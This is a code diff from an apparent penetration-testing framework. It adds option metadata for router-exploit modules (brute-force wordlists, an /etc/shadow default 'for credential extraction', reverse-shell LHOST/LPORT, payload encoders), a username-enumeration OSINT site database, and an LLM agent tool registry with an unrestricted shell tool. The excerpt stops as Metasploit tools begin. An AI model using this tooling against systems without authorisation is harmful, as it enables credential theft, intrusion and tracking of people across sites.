'HTTPS targets or services using encrypted transport.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['SSL', 'use_ssl'], + 'category': 'connection', + 'required': False, + 'notes': 'Automatically set for modules targeting HTTPS services.', + }, + + # ── Authentication/Credential Options ─────────────────────────────────── + 'threads': { + 'description': 'Number of threads for brute-force or scanning operations. ' + 'Higher values are faster but may trigger rate-limiting.', + 'input_type': 'integer', + 'examples': ['1', '4', '8', '16'], + 'default': '8', + 'aliases': ['THREADS'], + 'category': 'scan', + 'required': False, + 'notes': 'Default is typically 8. Reduce for slower targets or to ' + 'avoid detection. Increase for LAN testing.', + }, + 'usernames': { + 'description': 'Username or wordlist for credential testing. ' + 'Single value, comma-separated list, or file path.', + 'input_type': 'wordlist', + 'examples': ['admin', 'admin,root,user', 'file:///tmp/users.txt'], + 'default': 'admin', + 'aliases': ['USERNAMES', 'username'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute-force modules. Use file:// prefix for wordlist files. ' + 'Default credential modules have built-in lists.', + }, + 'passwords': { + 'description': 'Password or wordlist for credential testing. ' + 'Single value, comma-separated list, or file path.', + 'input_type': 'wordlist', + 'examples': ['password', 'admin,password,1234', 'file:///tmp/pass.txt'], + 'default': '', + 'aliases': ['PASSWORDS', 'password'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute-force modules. Default credential modules use ' + 'built-in vendor-specific password lists.', + }, + 'stop_on_success': { + 'description': 'Stop brute-force attack after finding the first valid ' + 'credential pair.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['STOP_ON_SUCCESS'], + 'category': 'auth', + 'required': False, + 'notes': 'Set to false to enumerate all valid credentials.', + }, + + # ── Verbosity/Output Options ──────────────────────────────────────────── + 'verbosity': { + 'description': 'Control output verbosity level. When true, modules ' + 'print detailed progress information.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['VERBOSITY', 'verbose'], + 'category': 'output', + 'required': False, + 'notes': 'Disable for cleaner output during automated scanning.', + }, + + # ── Protocol-Specific Ports ───────────────────────────────────────────── + 'http_port': { + 'description': 'HTTP port for web-based exploits and scanners.', + 'input_type': 'port', + 'examples': ['80', '8080', '8443'], + 'default': '80', + 'aliases': ['HTTP_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Used by HTTP-based modules. Change for non-standard web ports.', + }, + 'ftp_port': { + 'description': 'FTP port for file transfer protocol modules.', + 'input_type': 'port', + 'examples': ['21', '2121'], + 'default': '21', + 'aliases': ['FTP_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard FTP port is 21.', + }, + 'ssh_port': { + 'description': 'SSH port for secure shell modules.', + 'input_type': 'port', + 'examples': ['22', '2222'], + 'default': '22', + 'aliases': ['SSH_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard SSH port is 22.', + }, + 'telnet_port': { + 'description': 'Telnet port for telnet-based modules.', + 'input_type': 'port', + 'examples': ['23', '2323'], + 'default': '23', + 'aliases': ['TELNET_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard Telnet port is 23. Many IoT devices use telnet.', + }, + 'snmp_port': { + 'description': 'SNMP port for SNMP-based modules.', + 'input_type': 'port', + 'examples': ['161'], + 'default': '161', + 'aliases': ['SNMP_PORT'], + 'category': 'target', + 'required': False, + 'notes': 'Standard SNMP port is 161.', + }, + 'snmp_community': { + 'description': 'SNMP community string for SNMP-based modules.', + 'input_type': 'string', + 'examples': ['public', 'private'], + 'default': 'public', + 'aliases': ['SNMP_COMMUNITY', 'community'], + 'category': 'auth', + 'required': False, + 'notes': 'Default community strings "public" and "private" are common ' + 'on unconfigured devices.', + }, + + # ── File/Path Options ─────────────────────────────────────────────────── + 'filename': { + 'description': 'File path to read or write on the target device. ' + 'Used by path traversal and file disclosure modules.', + 'input_type': 'string', + 'examples': ['/etc/passwd', '/etc/shadow', '/etc/config/shadow'], + 'default': '/etc/shadow', + 'aliases': ['FILENAME', 'filepath'], + 'category': 'file', + 'required': False, + 'notes': 'Common targets: /etc/passwd, /etc/shadow for credential extraction.', + }, + + # ── Payload Options ───────────────────────────────────────────────────── + 'lhost': { + 'description': 'Local IP address for reverse connections (listener).', + 'input_type': 'ip', + 'examples': ['192.168.1.100', '10.0.0.50'], + 'default': '', + 'aliases': ['LHOST'], + 'category': 'payload', + 'required': False, + 'notes': 'Required for reverse shell payloads. Use your attacker IP.', + }, + 'lport': { + 'description': 'Local port for reverse connections (listener).', + 'input_type': 'port', + 'examples': ['4444', '5555', '8888'], + 'default': '5555', + 'aliases': ['LPORT'], + 'category': 'payload', + 'required': False, + 'notes': 'Required for reverse shell payloads.', + }, + 'rport': { + 'description': 'Remote port for bind shell connections.', + 'input_type': 'port', + 'examples': ['5555', '4444'], + 'default': '5555', + 'aliases': ['RPORT'], + 'category': 'payload', + 'required': False, + 'notes': 'Required for bind shell payloads.', + }, + 'encoder': { + 'description': 'Encoder to use for payload obfuscation.', + 'input_type': 'string', + 'examples': ['base64', 'xor'], + 'default': '', + 'aliases': ['ENCODER'], + 'category': 'payload', + 'required': False, + 'notes': 'Optional. Available encoders depend on payload architecture.', + }, + 'output': { + 'description': 'Output format for generated payloads.', + 'input_type': 'string', + 'examples': ['python', 'elf', 'c'], + 'default': 'python', + 'aliases': ['OUTPUT'], + 'category': 'payload', + 'required': False, + 'notes': 'Architecture-specific payloads support elf, c, and python output.', + }, + + # ── Vendor/Device Options ─────────────────────────────────────────────── + 'vendor': { + 'description': 'Target device vendor for vendor-specific modules.', + 'input_type': 'string', + 'examples': ['dlink', 'cisco', 'netgear', 'tp-link'], + 'default': '', + 'aliases': ['VENDOR'], + 'category': 'target', + 'required': False, + 'notes': 'Used to filter modules by vendor.', + }, +} + + +# ── Setting Categories ────────────────────────────────────────────────────── + +SETTING_CATEGORIES = { + 'target': { + 'name': 'Target Options', + 'description': 'Target device addressing', + 'color': Colors.RED, + }, + 'connection': { + 'name': 'Connection Options', + 'description': 'Network connection parameters', + 'color': Colors.CYAN, + }, + 'auth': { + 'name': 'Authentication Options', + 'description': 'Credentials and authentication', + 'color': Colors.YELLOW, + }, + 'scan': { + 'name': 'Scan Options', + 'description': 'Scanning and threading parameters', + 'color': Colors.GREEN, + }, + 'output': { + 'name': 'Output Options', + 'description': 'Verbosity and output control', + 'color': Colors.WHITE, + }, + 'file': { + 'name': 'File Options', + 'description': 'File path parameters', + 'color': Colors.MAGENTA, + }, + 'payload': { + 'name': 'Payload Options', + 'description': 'Payload generation and delivery', + 'color': Colors.RED, + }, +} + + +# ─── API Functions ────────────────────────────────────────────────────────── + +def get_setting_info(name: str) -> dict: + """Get full setting information by name. + + Checks primary name first, then aliases. + + Args: + name: Setting name (case-insensitive) + + Returns: + Setting dict or None + """ + name_lower = name.lower() + + # Direct lookup + if name_lower in RSF_SETTINGS: + return RSF_SETTINGS[name_lower] + + # Alias lookup + for key, info in RSF_SETTINGS.items(): + if name_lower in [a.lower() for a in info.get('aliases', [])]: + return info + + return None + + +def get_setting_prompt(name: str, default=None, required: bool = False) -> str: + """Get a formatted input prompt for a setting. + + Args: + name: Setting name + default: Default value to show + required: Whether the setting is required + + Returns: + Formatted prompt string + """ + info = get_setting_info(name) + + if info: + if default is None: + default = info.get('default', '') + desc = info.get('description', '').split('.')[0] # First sentence + req = f" {Colors.RED}(required){Colors.RESET}" if required else "" + if default: + return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]{req}: " + return f" {Colors.WHITE}{name}{Colors.RESET}{req}: " + else: + if default: + return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]: " + return f" {Colors.WHITE}{name}{Colors.RESET}: " + + +def format_setting_help(name: str, include_examples: bool = True, + include_notes: bool = True) -> str: + """Get formatted help text for a setting. + + Args: + name: Setting name + include_examples: Include usage examples + include_notes: Include additional notes + + Returns: + Formatted help string + """ + info = get_setting_info(name) + if not info: + return f" {Colors.YELLOW}No help available for '{name}'{Colors.RESET}" + + lines = [] + lines.append(f" {Colors.BOLD}{Colors.WHITE}{name.upper()}{Colors.RESET}") + lines.append(f" {info['description']}") + + if info.get('input_type'): + lines.append(f" {Colors.DIM}Type: {info['input_type']}{Colors.RESET}") + + if info.get('default'): + lines.append(f" {Colors.DIM}Default: {info['default']}{Colors.RESET}") + + if include_examples and info.get('examples'): + lines.append(f" {Colors.DIM}Examples: {', '.join(info['examples'])}{Colors.RESET}") + + if include_notes and info.get('notes'): + lines.append(f" {Colors.DIM}Note: {info['notes']}{Colors.RESET}") + + return '\n'.join(lines) + + +def validate_setting_value(name: str, value: str) -> tuple: + """Validate a setting value against its type. + + Args: + name: Setting name + value: Value to validate + + Returns: + Tuple of (is_valid, error_message) + """ + info = get_setting_info(name) + if not info: + return True, "" # Unknown settings pass validation + + input_type = info.get('input_type', 'string') + + if input_type == 'port': + try: + port = int(value) + if 0 <= port <= 65535: + return True, "" + return False, "Port must be between 0 and 65535" + except ValueError: + return False, "Port must be a number" + + elif input_type == 'ip': + # Allow file:// paths for batch targeting + if value.startswith('file://'): + return True, "" + # Basic IPv4 validation + import re + if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', value): + parts = value.split('.') + if all(0 <= int(p) <= 255 for p in parts): + return True, "" + return False, "Invalid IP address octets" + # IPv6 - basic check + if ':' in value: + return True, "" + return False, "Expected IPv4 address, IPv6 address, or file:// path" + + elif input_type == 'boolean': + if value.lower() in ('true', 'false', '1', '0', 'yes', 'no'): + return True, "" + return False, "Expected true/false" + + elif input_type == 'integer': + try: + int(value) + return True, "" + except ValueError: + return False, "Expected an integer" + + return True, "" diff --git a/core/sites_db.py b/core/sites_db.py new file mode 100644 index 0000000..293a806 --- /dev/null +++ b/core/sites_db.py @@ -0,0 +1,712 @@ +""" +AUTARCH Sites Database Module +Unified username enumeration database from multiple OSINT sources + +Database: dh_sites.db - Master database with detection patterns +""" + +import os +import json +import sqlite3 +import threading +from pathlib import Path +from typing import Optional, List, Dict, Any, Tuple +from datetime import datetime + +from .banner import Colors +from .config import get_config + + +class SitesDatabase: + """Unified OSINT sites database with SQLite storage.""" + + # Default database is dh_sites.db (the new categorized database with detection fields) + DEFAULT_DB = "dh_sites.db" + + # Detection method mapping + DETECTION_METHODS = { + 'status_code': 'status', + 'message': 'content', + 'response_url': 'redirect', + 'redirection': 'redirect', + } + + def __init__(self, db_path: str = None): + """Initialize sites database. + + Args: + db_path: Path to SQLite database. Defaults to data/sites/dh_sites.db + """ + if db_path is None: + from core.paths import get_data_dir + self.data_dir = get_data_dir() / "sites" + self.db_path = self.data_dir / self.DEFAULT_DB + else: + self.db_path = Path(db_path) + self.data_dir = self.db_path.parent + + self.data_dir.mkdir(parents=True, exist_ok=True) + self._conn = None + self._lock = threading.Lock() + + def _get_connection(self) -> sqlite3.Connection: + """Get thread-safe database connection.""" + if self._conn is None: + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + return self._conn + + def get_stats(self) -> Dict[str, Any]: + """Get database statistics.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + stats = { + 'db_path': str(self.db_path), + 'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0, + 'total_sites': 0, + 'enabled_sites': 0, + 'nsfw_sites': 0, + 'with_detection': 0, + 'by_source': {}, + 'by_category': {}, + 'by_error_type': {}, + } + + try: + cursor.execute("SELECT COUNT(*) FROM sites") + stats['total_sites'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1") + stats['enabled_sites'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE nsfw = 1") + stats['nsfw_sites'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE error_type IS NOT NULL") + stats['with_detection'] = cursor.fetchone()[0] + + cursor.execute("SELECT source, COUNT(*) FROM sites GROUP BY source ORDER BY COUNT(*) DESC") + stats['by_source'] = {row[0]: row[1] for row in cursor.fetchall()} + + cursor.execute("SELECT category, COUNT(*) FROM sites GROUP BY category ORDER BY COUNT(*) DESC") + stats['by_category'] = {row[0]: row[1] for row in cursor.fetchall()} + + cursor.execute("SELECT error_type, COUNT(*) FROM sites WHERE error_type IS NOT NULL GROUP BY error_type ORDER BY COUNT(*) DESC") + stats['by_error_type'] = {row[0]: row[1] for row in cursor.fetchall()} + + except sqlite3.Error: + pass + + return stats + + # ========================================================================= + # QUERY METHODS + # ========================================================================= + + def get_sites( + self, + category: str = None, + include_nsfw: bool = False, + enabled_only: bool = True, + source: str = None, + limit: int = None, + order_by: str = 'name' + ) -> List[Dict]: + """Get sites from database. + + Args: + category: Filter by category. + include_nsfw: Include NSFW sites. + enabled_only: Only return enabled sites. + source: Filter by source. + limit: Maximum number of results. + order_by: 'name' or 'category'. + + Returns: + List of site dictionaries. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + query = "SELECT * FROM sites WHERE 1=1" + params = [] + + if category: + query += " AND category = ?" + params.append(category) + + if not include_nsfw: + query += " AND nsfw = 0" + + if enabled_only: + query += " AND enabled = 1" + + if source: + query += " AND source = ?" + params.append(source) + + query += f" ORDER BY {order_by} COLLATE NOCASE ASC" + + if limit: + query += f" LIMIT {limit}" + + cursor.execute(query, params) + rows = cursor.fetchall() + + return [dict(row) for row in rows] + + def get_site(self, name: str) -> Optional[Dict]: + """Get a specific site by name. + + Args: + name: Site name. + + Returns: + Site dictionary or None. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute("SELECT * FROM sites WHERE name = ? COLLATE NOCASE", (name,)) + row = cursor.fetchone() + + return dict(row) if row else None + + def search_sites(self, query: str, include_nsfw: bool = False, limit: int = 100) -> List[Dict]: + """Search sites by name. + + Args: + query: Search query. + include_nsfw: Include NSFW sites. + limit: Maximum results. + + Returns: + List of matching sites. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + sql = "SELECT * FROM sites WHERE name LIKE ? AND enabled = 1" + params = [f"%{query}%"] + + if not include_nsfw: + sql += " AND nsfw = 0" + + sql += f" ORDER BY name COLLATE NOCASE ASC LIMIT {limit}" + + cursor.execute(sql, params) + return [dict(row) for row in cursor.fetchall()] + + def get_categories(self) -> List[Tuple[str, int]]: + """Get all categories with site counts. + + Returns: + List of (category, count) tuples. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute(""" + SELECT category, COUNT(*) as count + FROM sites + WHERE enabled = 1 + GROUP BY category + ORDER BY count DESC + """) + + return [(row[0], row[1]) for row in cursor.fetchall()] + + def get_sites_for_scan( + self, + categories: List[str] = None, + include_nsfw: bool = False, + max_sites: int = 500, + sort_alphabetically: bool = True + ) -> List[Dict]: + """Get sites optimized for username scanning with detection patterns. + + Args: + categories: List of categories to include. + include_nsfw: Include NSFW sites. + max_sites: Maximum number of sites. + sort_alphabetically: Sort by name (True) or by category (False). + + Returns: + List of sites ready for scanning with detection info. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + query = """SELECT name, url_template, category, source, nsfw, + error_type, error_code, error_string, match_code, match_string + FROM sites WHERE enabled = 1""" + params = [] + + if categories: + placeholders = ','.join('?' * len(categories)) + query += f" AND category IN ({placeholders})" + params.extend(categories) + + if not include_nsfw: + query += " AND nsfw = 0" + + # Sort order + if sort_alphabetically: + query += " ORDER BY name COLLATE NOCASE ASC" + else: + query += " ORDER BY category ASC, name COLLATE NOCASE ASC" + + query += f" LIMIT {max_sites}" + + cursor.execute(query, params) + rows = cursor.fetchall() + + # Format for scanning with detection info + sites = [] + for row in rows: + name, url, category, source, nsfw, error_type, error_code, error_string, match_code, match_string = row + + # Map error_type to detection method + method = self.DETECTION_METHODS.get(error_type, 'status') if error_type else 'status' + + sites.append({ + 'name': name, + 'url': url, + 'category': category, + 'source': source, + 'nsfw': bool(nsfw), + # Detection fields + 'method': method, + 'error_type': error_type, + 'error_code': error_code, # HTTP code when NOT found (e.g., 404) + 'error_string': error_string, # String when NOT found + 'match_code': match_code, # HTTP code when found (e.g., 200) + 'match_string': match_string, # String when found + }) + + return sites + + def get_site_by_url(self, url_template: str) -> Optional[Dict]: + """Get a site by its URL template. + + Args: + url_template: URL template with {} placeholder. + + Returns: + Site dictionary or None. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute("SELECT * FROM sites WHERE url_template = ?", (url_template,)) + row = cursor.fetchone() + + return dict(row) if row else None + + def toggle_site(self, name: str, enabled: bool) -> bool: + """Enable or disable a site. + + Args: + name: Site name. + enabled: Enable (True) or disable (False). + + Returns: + True if successful. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute( + "UPDATE sites SET enabled = ? WHERE name = ? COLLATE NOCASE", + (1 if enabled else 0, name) + ) + conn.commit() + + return cursor.rowcount > 0 + + def add_site( + self, + name: str, + url_template: str, + category: str = 'other', + source: str = 'custom', + nsfw: bool = False, + error_type: str = 'status_code', + error_code: int = None, + error_string: str = None, + match_code: int = None, + match_string: str = None, + ) -> bool: + """Add a custom site to the database. + + Args: + name: Site name. + url_template: URL with {} placeholder for username. + category: Site category. + source: Source identifier. + nsfw: Whether site is NSFW. + error_type: Detection type (status_code, message, etc). + error_code: HTTP status when user NOT found. + error_string: String when user NOT found. + match_code: HTTP status when user found. + match_string: String when user found. + + Returns: + True if successful. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + try: + cursor.execute(""" + INSERT OR REPLACE INTO sites + (name, url_template, category, source, nsfw, enabled, + error_type, error_code, error_string, match_code, match_string) + VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?) + """, ( + name, + url_template, + category, + source, + 1 if nsfw else 0, + error_type, + error_code, + error_string, + match_code, + match_string, + )) + conn.commit() + return True + except Exception: + return False + + def update_detection( + self, + name: str, + error_type: str = None, + error_code: int = None, + error_string: str = None, + match_code: int = None, + match_string: str = None, + ) -> bool: + """Update detection settings for a site. + + Args: + name: Site name. + error_type: Detection type. + error_code: HTTP status when NOT found. + error_string: String when NOT found. + match_code: HTTP status when found. + match_string: String when found. + + Returns: + True if successful. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + updates = [] + params = [] + + if error_type is not None: + updates.append("error_type = ?") + params.append(error_type) + if error_code is not None: + updates.append("error_code = ?") + params.append(error_code) + if error_string is not None: + updates.append("error_string = ?") + params.append(error_string) + if match_code is not None: + updates.append("match_code = ?") + params.append(match_code) + if match_string is not None: + updates.append("match_string = ?") + params.append(match_string) + + if not updates: + return False + + params.append(name) + query = f"UPDATE sites SET {', '.join(updates)} WHERE name = ? COLLATE NOCASE" + + cursor.execute(query, params) + conn.commit() + + return cursor.rowcount > 0 + + def get_sites_without_detection(self, limit: int = 100) -> List[Dict]: + """Get sites that don't have detection patterns configured. + + Args: + limit: Maximum results. + + Returns: + List of sites without detection info. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute(""" + SELECT * FROM sites + WHERE enabled = 1 + AND (error_string IS NULL OR error_string = '') + AND (match_string IS NULL OR match_string = '') + ORDER BY name COLLATE NOCASE ASC + LIMIT ? + """, (limit,)) + + return [dict(row) for row in cursor.fetchall()] + + def get_detection_coverage(self) -> Dict[str, Any]: + """Get statistics on detection pattern coverage. + + Returns: + Dictionary with coverage statistics. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + stats = {} + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1") + total = cursor.fetchone()[0] + stats['total_enabled'] = total + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_type IS NOT NULL") + stats['with_error_type'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_string IS NOT NULL AND error_string != ''") + stats['with_error_string'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_string IS NOT NULL AND match_string != ''") + stats['with_match_string'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_code IS NOT NULL") + stats['with_error_code'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_code IS NOT NULL") + stats['with_match_code'] = cursor.fetchone()[0] + + # Calculate percentages + if total > 0: + stats['pct_error_type'] = round(stats['with_error_type'] * 100 / total, 1) + stats['pct_error_string'] = round(stats['with_error_string'] * 100 / total, 1) + stats['pct_match_string'] = round(stats['with_match_string'] * 100 / total, 1) + + return stats + + def get_disabled_count(self) -> int: + """Get count of disabled sites.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 0") + return cursor.fetchone()[0] + + def enable_all_sites(self) -> int: + """Re-enable all disabled sites.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("UPDATE sites SET enabled = 1 WHERE enabled = 0") + count = cursor.rowcount + conn.commit() + return count + + def disable_category(self, category: str) -> int: + """Disable all sites in a category. + + Args: + category: Category to disable. + + Returns: + Number of sites disabled. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("UPDATE sites SET enabled = 0 WHERE category = ? AND enabled = 1", (category,)) + count = cursor.rowcount + conn.commit() + return count + + def enable_category(self, category: str) -> int: + """Enable all sites in a category. + + Args: + category: Category to enable. + + Returns: + Number of sites enabled. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("UPDATE sites SET enabled = 1 WHERE category = ? AND enabled = 0", (category,)) + count = cursor.rowcount + conn.commit() + return count + + def load_from_json(self, json_path: str = None) -> Dict[str, int]: + """Load/reload sites from the master dh.json file. + + Args: + json_path: Path to JSON file. Defaults to data/sites/dh.json + + Returns: + Statistics dict with import counts. + """ + if json_path is None: + json_path = self.data_dir / "dh.json" + else: + json_path = Path(json_path) + + stats = {'total': 0, 'new': 0, 'updated': 0, 'errors': 0} + + if not json_path.exists(): + print(f"{Colors.RED}[X] JSON file not found: {json_path}{Colors.RESET}") + return stats + + print(f"{Colors.CYAN}[*] Loading sites from {json_path}...{Colors.RESET}") + + try: + with open(json_path, 'r') as f: + data = json.load(f) + + sites = data.get('sites', []) + stats['total'] = len(sites) + + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + for site in sites: + try: + cursor.execute(""" + INSERT OR REPLACE INTO sites + (name, url_template, category, source, nsfw, enabled, + error_type, error_code, error_string, match_code, match_string) + VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?) + """, ( + site['name'], + site['url'], + site.get('category', 'other'), + site.get('source', 'dh'), + 1 if site.get('nsfw') else 0, + site.get('error_type'), + site.get('error_code'), + site.get('error_string'), + site.get('match_code'), + site.get('match_string'), + )) + stats['new'] += 1 + except Exception as e: + stats['errors'] += 1 + + conn.commit() + + print(f"{Colors.GREEN}[+] Loaded {stats['new']} sites from JSON{Colors.RESET}") + + except Exception as e: + print(f"{Colors.RED}[X] Error loading JSON: {e}{Colors.RESET}") + + return stats + + def export_to_json(self, json_path: str = None) -> bool: + """Export database to JSON format. + + Args: + json_path: Output path. Defaults to data/sites/dh_export.json + + Returns: + True if successful. + """ + if json_path is None: + json_path = self.data_dir / "dh_export.json" + else: + json_path = Path(json_path) + + try: + sites = self.get_sites(enabled_only=False, include_nsfw=True) + + # Get category and source stats + stats = self.get_stats() + + export_data = { + "project": "darkHal Security Group - AUTARCH", + "version": "1.1", + "description": "Exported sites database with detection patterns", + "total_sites": len(sites), + "stats": { + "by_category": stats['by_category'], + "by_source": stats['by_source'], + "by_error_type": stats['by_error_type'], + }, + "sites": [] + } + + for site in sites: + site_entry = { + "name": site['name'], + "url": site['url_template'], + "category": site['category'], + "source": site['source'], + "nsfw": bool(site['nsfw']), + "enabled": bool(site['enabled']), + } + + # Add detection fields if present + if site.get('error_type'): + site_entry['error_type'] = site['error_type'] + if site.get('error_code'): + site_entry['error_code'] = site['error_code'] + if site.get('error_string'): + site_entry['error_string'] = site['error_string'] + if site.get('match_code'): + site_entry['match_code'] = site['match_code'] + if site.get('match_string'): + site_entry['match_string'] = site['match_string'] + + export_data['sites'].append(site_entry) + + with open(json_path, 'w') as f: + json.dump(export_data, f, indent=2) + + print(f"{Colors.GREEN}[+] Exported {len(sites)} sites to {json_path}{Colors.RESET}") + return True + + except Exception as e: + print(f"{Colors.RED}[X] Export error: {e}{Colors.RESET}") + return False + + def close(self): + """Close database connection.""" + if self._conn: + self._conn.close() + self._conn = None + + +# Global instance +_sites_db: Optional[SitesDatabase] = None + + +def get_sites_db() -> SitesDatabase: + """Get the global sites database instance.""" + global _sites_db + if _sites_db is None: + _sites_db = SitesDatabase() + return _sites_db diff --git a/core/tools.py b/core/tools.py new file mode 100644 index 0000000..2bbb5fd --- /dev/null +++ b/core/tools.py @@ -0,0 +1,608 @@ +""" +AUTARCH Tool System +Defines tools that the agent can use to interact with the environment +""" + +import os +import subprocess +import json +from typing import Callable, Dict, List, Any, Optional +from dataclasses import dataclass, field +from pathlib import Path + +from .banner import Colors + + +@dataclass +class ToolParameter: + """Definition of a tool parameter.""" + name: str + description: str + type: str = "string" + required: bool = True + default: Any = None + + +@dataclass +class Tool: + """Definition of an agent tool.""" + name: str + description: str + function: Callable + parameters: List[ToolParameter] = field(default_factory=list) + category: str = "general" + + def to_schema(self) -> Dict[str, Any]: + """Convert tool to JSON schema for LLM.""" + properties = {} + required = [] + + for param in self.parameters: + properties[param.name] = { + "type": param.type, + "description": param.description + } + if param.required: + required.append(param.name) + + return { + "name": self.name, + "description": self.description, + "parameters": { + "type": "object", + "properties": properties, + "required": required + } + } + + def execute(self, **kwargs) -> Dict[str, Any]: + """Execute the tool with given parameters. + + Returns: + Dict with 'success' bool and 'result' or 'error' string. + """ + try: + result = self.function(**kwargs) + return {"success": True, "result": result} + except Exception as e: + return {"success": False, "error": str(e)} + + +class ToolRegistry: + """Registry for managing available tools.""" + + def __init__(self): + self._tools: Dict[str, Tool] = {} + self._register_builtin_tools() + + def register(self, tool: Tool): + """Register a tool.""" + self._tools[tool.name] = tool + + def unregister(self, name: str): + """Unregister a tool by name.""" + if name in self._tools: + del self._tools[name] + + def get(self, name: str) -> Optional[Tool]: + """Get a tool by name.""" + return self._tools.get(name) + + def list_tools(self) -> List[Tool]: + """List all registered tools.""" + return list(self._tools.values()) + + def get_tools_schema(self) -> List[Dict[str, Any]]: + """Get JSON schema for all tools.""" + return [tool.to_schema() for tool in self._tools.values()] + + def get_tools_prompt(self) -> str: + """Generate a tools description for the LLM prompt.""" + lines = ["Available tools:"] + for tool in self._tools.values(): + lines.append(f"\n## {tool.name}") + lines.append(f"Description: {tool.description}") + if tool.parameters: + lines.append("Parameters:") + for param in tool.parameters: + req = "(required)" if param.required else "(optional)" + lines.append(f" - {param.name} [{param.type}] {req}: {param.description}") + return "\n".join(lines) + + def execute(self, tool_name: str, **kwargs) -> Dict[str, Any]: + """Execute a tool by name. + + Args: + tool_name: Name of the tool to execute. + **kwargs: Parameters to pass to the tool. + + Returns: + Dict with execution result. + """ + tool = self.get(tool_name) + if not tool: + return {"success": False, "error": f"Tool '{tool_name}' not found"} + return tool.execute(**kwargs) + + def _register_builtin_tools(self): + """Register built-in tools.""" + + # Shell command execution + self.register(Tool( + name="shell", + description="Execute a shell command and return the output. Use for system operations, running scripts, or gathering system information.", + function=self._tool_shell, + parameters=[ + ToolParameter("command", "The shell command to execute", "string", True), + ToolParameter("timeout", "Timeout in seconds (default 30)", "integer", False, 30), + ], + category="system" + )) + + # Read file + self.register(Tool( + name="read_file", + description="Read the contents of a file. Use to examine files, configs, or source code.", + function=self._tool_read_file, + parameters=[ + ToolParameter("path", "Path to the file to read", "string", True), + ToolParameter("max_lines", "Maximum number of lines to read (default all)", "integer", False), + ], + category="filesystem" + )) + + # Write file + self.register(Tool( + name="write_file", + description="Write content to a file. Creates the file if it doesn't exist, overwrites if it does.", + function=self._tool_write_file, + parameters=[ + ToolParameter("path", "Path to the file to write", "string", True), + ToolParameter("content", "Content to write to the file", "string", True), + ], + category="filesystem" + )) + + # List directory + self.register(Tool( + name="list_dir", + description="List contents of a directory. Use to explore filesystem structure.", + function=self._tool_list_dir, + parameters=[ + ToolParameter("path", "Path to the directory (default: current)", "string", False, "."), + ToolParameter("show_hidden", "Include hidden files (default: false)", "boolean", False, False), + ], + category="filesystem" + )) + + # Search files + self.register(Tool( + name="search_files", + description="Search for files matching a pattern. Use to find specific files.", + function=self._tool_search_files, + parameters=[ + ToolParameter("pattern", "Glob pattern to match (e.g., '*.py', '**/*.txt')", "string", True), + ToolParameter("path", "Starting directory (default: current)", "string", False, "."), + ], + category="filesystem" + )) + + # Search in files (grep) + self.register(Tool( + name="search_content", + description="Search for text content within files. Use to find specific code or text.", + function=self._tool_search_content, + parameters=[ + ToolParameter("pattern", "Text or regex pattern to search for", "string", True), + ToolParameter("path", "File or directory to search in", "string", False, "."), + ToolParameter("file_pattern", "Glob pattern for files to search (e.g., '*.py')", "string", False), + ], + category="filesystem" + )) + + # Task complete + self.register(Tool( + name="task_complete", + description="Mark the current task as complete. Use when you have fully accomplished the goal.", + function=self._tool_task_complete, + parameters=[ + ToolParameter("summary", "Summary of what was accomplished", "string", True), + ], + category="control" + )) + + # Ask user + self.register(Tool( + name="ask_user", + description="Ask the user a question when you need clarification or input.", + function=self._tool_ask_user, + parameters=[ + ToolParameter("question", "The question to ask the user", "string", True), + ], + category="interaction" + )) + + # Metasploit tools + self.register(Tool( + name="msf_connect", + description="Connect to Metasploit RPC. Required before using other MSF tools.", + 